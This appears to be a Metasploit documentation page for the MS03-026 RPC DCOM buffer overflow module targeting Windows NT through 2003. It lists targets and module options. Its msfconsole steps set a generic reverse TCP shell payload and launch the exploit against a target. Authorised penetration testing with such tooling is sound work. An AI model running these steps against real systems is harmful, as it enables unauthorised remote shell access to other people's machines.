Metasploit Penetration Testing Framework

Microsoft RPC DCOM Interface Overflow

This module exploits a stack buffer overflow in the RPCSS service, this vulnerability was originally found by the Last Stage of Delirium research group and has been widely exploited ever since. This module can exploit the English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)

Rank

Great

Authors

hdm < hdm [at] metasploit.com >
spoonm < spoonm [at] no$email.com >
cazz < bmc [at] shmoo.com >

References

Exploit Targets

0 - Windows NT SP3-6a/2000/XP/2003 Universal (default)

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show payloads
msf exploit(ms03_026_dcom) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_026_dcom) > set RHOST [TARGET IP]
msf exploit(ms03_026_dcom) > exploit

Module Options

RHOST	The target address
RPORT	The target port (default: 135)
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
ContextInformationFile	The information file that contains context information
DCERPC::ReadTimeout	The number of seconds to wait for DCERPC responses
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
Proxies	Use a proxy chain
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session
DCERPC::fake_bind_multi	Use multi-context bind calls
DCERPC::fake_bind_multi_append	Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend	Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size	Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio	Use a different delivery method for accessing named pipes (accepted: rw, trans)
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)

OSVDB:	CVE:
BID:	MSB:
TEXT: